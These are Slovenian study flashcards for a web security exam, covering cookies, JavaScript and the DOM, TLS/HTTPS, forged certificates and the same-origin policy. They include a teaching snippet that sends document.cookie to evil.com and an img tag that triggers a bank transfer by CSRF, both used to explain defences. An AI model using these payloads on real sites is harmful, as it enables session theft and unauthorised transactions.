2.kolokvij Flashcards
(98 cards)
Cilji spletne varnosti
Varno brskanje po spletu
Možnost obiska spletnega mesta (vključno z zlonamernimi) brez škode
Spletno mesto A ne more ukrasti podatkov iz vaše naprave, namestiti zlonamerne programske opreme, dostopati do kamere itd.
Spletno mesto A ne more vplivati na sejo spletne strani B ali prisluškovati spletni strani B
Poudarjanje varnosti spletnih aplikacij
Spletne aplikacije (npr. Zoom) bi morale imeti enake ali boljše varnostne lastnosti kot domorodne aplikacije
Modeli napadov
Zlonamerna spletna stran
Zlonamerni zunanji vir
Mrežni napadalec
Napadalec s škodljivo kodo
Metode HTTP
GET naj ne bi spreminjal stanja strežnika
v praksi se tega nekateri strežniki ne držijo
Stari brskalniki ne podpirajo PUT, PATCH, DELETE
Večina zahtev s „stranskim učinkom“ je danes POST
Resnična metoda se skriva v glavi ali telesu zahteve
Za operacije, ki spreminjajo stanje na strežniku (kot je prenos denarja), je priporočljivo uporabiti metodo POST ali druge ustrezne metode (PUT, PATCH, DELETE), da bi se izognili nesporazumom in zagotovili, da so te operacije zaščitene in niso ranljive za napade (npr. napadi s ponovnim pošiljanjem zahteve - replay attacks).
HTTP in spletne strani
Ko naložite spletno mesto, vaš spletni brskalnik pošlje zahtevo GET na to spletno
mesto
Nalaganje virov
Korenska HTML stran lahko vključuje dodatne vire, kot so slike, video posnetki,
pisave
Po razčlenjevanju (parsing) strani HTML brskalnik zahteva te dodatne vire
Zunanji viri
Nobenih omejitev ni, kam se lahko naložijo viri, kot so slike
Nič ne preprečuje, da se vključijo slike iz druge domene
(i)frames
Poleg nalaganja posameznih virov lahko
spletna mesta naložijo tudi druga spletna
mesta v svojem oknu
frame: toga vidna pregrada
iframe: plavajoči vrstni okvir (inline frame)
Omogoča delegiranje območja zaslona
vsebini iz drugega vira (npr. oglasa)
<iframe></iframe>
Javascript
Zgodovinsko je bila vsebina HTML statična ali ustvarjena s strani strežnika in
vrnjena spletnemu brskalniku
Danes spletna mesta ponujajo tudi skripte, ki se izvajajo v brskalniku
<button onclick=“alert(“The date is” + Date())”>
Click me to display Date and Time.
</button>
Javascript lahko izvede dodatne spletne zahteve, manipulira s stranjo, bere
podatke brskalnika, lokalno strojno opremo, …
Document Object Model (DOM)
Javascript lahko bere in spreminja strani z
interakcijo z DOM-om
Objektno usmerjen vmesnik za branje / pisanje vsebine
strani
Brskalnik zajema HTML -> strukturirani podatki (DOM)
<p id=“demo”></p>
document.getElementById(‘demo').innerHTML = Date()
Document Object Model (DOM) je vmesnik, ki omogoča JavaScriptu, da komunicira z vsebino spletne strani (HTML) in jo spreminja. Gre za hierarhično strukturo, ki predstavlja vse elemente na spletni strani (npr. besedilo, slike, povezave, oblike itd.) kot objekte, s katerimi lahko JavaScript interagira. DOM omogoča branje in spreminjanje teh elementov v realnem času.
Osnovni model izvajanja
Vsako okno brskalnika….
naloži vsebino korenske strani
razčleni HTML in zažene vključeni Javascript
pridobi pod-vire (npr. slike, CSS, Javascript, iframes)
se odziva na dogodke, kot so onClick, onMouseover, onLoad, setTimeout
Piškotki so vedno poslani
Piškotki, nastavljeni s strani določene domene, se vedno pošljejo za vsako zahtevo do te domene
problem
<img src=“https://banka.com/transfer?
fromAccount=X
&toAccount=Y
&amount=1000”></img>
Če strežnik na strani banka.com ne preverja pravilno zahteve, lahko ta zahteva sproži prenos denarja (ali drugo dejanje), ker so parametri za prenos v URL-ju.
Namesto slike se na strežnik pošlje zahteva za izvedbo transakcije, čeprav to ni bil namen uporabe img.
Sodobne spletne strani
Domača stran LA Times vključuje 540 virov s skoraj 270 naslovov IP, 58 omrežij in 8 držav
CNN - najbolj priljubljeno spletno mesto z novicami - nalaga 361 virov
Mnoge od njih ne nadzorujejo glavna spletna mesta
Dostop tretjih oseb
Če banka vključuje Google Analytics Javascript, ali lahko dostopa do piškotka za
preverjanje pristnosti vaše banke?
da!
const img = document.createElement(“image”);
img.src = “https://evil.com/?cookies=” + document.cookie;
document.body.appendChild(img);
Piškotki HttpOnly
Nastavitev lahko nastavimo tako, da API-ju Document.cookie preprečimo
dostop do piškotkov
Preprečuje Google Analyticsu, da bi vam ukradel piškotek
Brskalnik ga nikoli ne pošlje Googlu, ker se (google.com, /) ne ujema (banka.com, /)
Piškotek ne more ga pridobiti Javascripta, ki deluje na banka.com
Varni piškotki
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Secure;
Varni piškotek se strežniku pošlje samo s šifrirano zahtevo prek protokola HTTPS.
Varna povezava – TLS / HTTPS
Zakaj varovati povezavo?
Možnosti:
Prestrezanja
Vrivanja
Spreminjanja
Varnostni protokoli
TLS / SSL
TLS – varna povezava
Osnova spletne varnost
Secure Sockets Layer (SSL)
Razvil Netscape Corporation
Različice 1, 2, and 3 (1996)
Transport Layer Security (TLS)
Naslednik protokola SSL
IETF standardiziran
Temelji na SSL 3.0
Kriptografski (varnostni) protokol
Varna komunikacija preko omrežij
Transport Layer Security (TLS) je kriptografski protokol, ki omogoča varno komunikacijo preko omrežij, predvsem na internetu. TLS zagotavlja šifriranje, preverjanje pristnosti in integriteto podatkov, kar je temelj za zaščito občutljivih informacij, kot so gesla, številke kreditnih kartic in osebni podatki.
HTTPS povsod
Ne drži:
Kriptografija upočasnjuje spletne strežnike
Ni več resnično
Določeni ponudniki oglasov ne podpirajo HTTPS
Ni združljiva z virtualnim gostovanjem (virtual hosting)
Morda z zelo starimi različicami brskalnikov
Od julija 2018: Chrome označi strani s HTTP ko nevarne
Ponarejeni certifikati
2011: vdor v Comodo in DigiNotar CA-ja
2013: TurkTrust izda certifikat za gmail.com
2014: Indijski NIC (vmesni CA , ki mu zaupa korenski CA IndiaCCA) izda certifikate
za Google in Yahoo! Domene
2016: WoSign (Kitajski CA) izda certifikat za domeni GitHub -> ni več na seznamu
zaupanja vrednih CA-jev v Chromeu in Firefoxu
Mešana vsebina: HTTPS in HTTP
Stran se naloži preko HTTPS, a deli se prenašajo preko HTTP
<script src=“http://…/script.js>
Možnost ugrabljanja seje
Problemi s sejami
Predvidljivi žetoni
Števec ⇒ uporabnik se prijavi, dobi vrednost števca
Sejni žetoni morajo biti nepredvidljivi
* Uporaba uveljavljenih metod za generiranje
* Uporaba ogrodij in funkcij
Kraja sej
Mešanje HTTP in HTTPS vsebine
XSS za krajo sej
SOP
Same Origin Policy (SOP) za DOM:
Izvor A lahko dostopa do DOM izvora B, če se ujemata v
(shema, domena, vrata)
SOP za piškotke:
Temelji na: ([shema], domena, pot)
opcijsko
Varnost piškotkov
Uporaba:
Overjanje uporabnika
Personalizacija
Sledenje uporabnikom
Izvor je definiran kot par <domain, path>
Mogoče je ustvariti piškotke, ki so veljavni na vseh straneh z enako domensko
končnico